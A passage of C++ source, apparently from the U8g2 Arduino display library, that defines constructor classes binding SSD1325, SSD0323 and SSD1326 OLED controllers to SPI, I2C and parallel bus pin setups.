u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1325_NHD_128X64_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1325_NHD_128X64_1_6800 : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_1_8080 : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1325_NHD_128X64_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1325_NHD_128X64_2_6800 : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_2_8080 : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1325_NHD_128X64_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1325_NHD_128X64_F_6800 : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_F_8080 : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1325_NHD_128X64_1_SW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1325_NHD_128X64_1_HW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1325_NHD_128X64_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1325_NHD_128X64_2_SW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1325_NHD_128X64_2_HW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1325_NHD_128X64_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1325_NHD_128X64_F_SW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1325_NHD_128X64_F_HW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1325_NHD_128X64_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1325_NHD_128X64_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1325_i2c_nhd_128x64_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD0323_OS128064_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD0323_OS128064_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD0323_OS128064_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD0323_OS128064_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD0323_OS128064_1_6800 : public U8G2 { public: U8G2_SSD0323_OS128064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_1_8080 : public U8G2 { public: U8G2_SSD0323_OS128064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD0323_OS128064_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD0323_OS128064_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD0323_OS128064_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD0323_OS128064_2_6800 : public U8G2 { public: U8G2_SSD0323_OS128064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_2_8080 : public U8G2 { public: U8G2_SSD0323_OS128064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD0323_OS128064_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD0323_OS128064_F_3W_SW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD0323_OS128064_F_3W_HW_SPI : public U8G2 { public: U8G2_SSD0323_OS128064_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD0323_OS128064_F_6800 : public U8G2 { public: U8G2_SSD0323_OS128064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_F_8080 : public U8G2 { public: U8G2_SSD0323_OS128064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_os128064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD0323_OS128064_1_SW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD0323_OS128064_1_HW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD0323_OS128064_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD0323_OS128064_2_SW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD0323_OS128064_2_HW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD0323_OS128064_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD0323_OS128064_F_SW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD0323_OS128064_F_HW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD0323_OS128064_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD0323_OS128064_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd0323_i2c_os128064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1326_ER_256X32_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1326_ER_256X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1326_er_256x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); 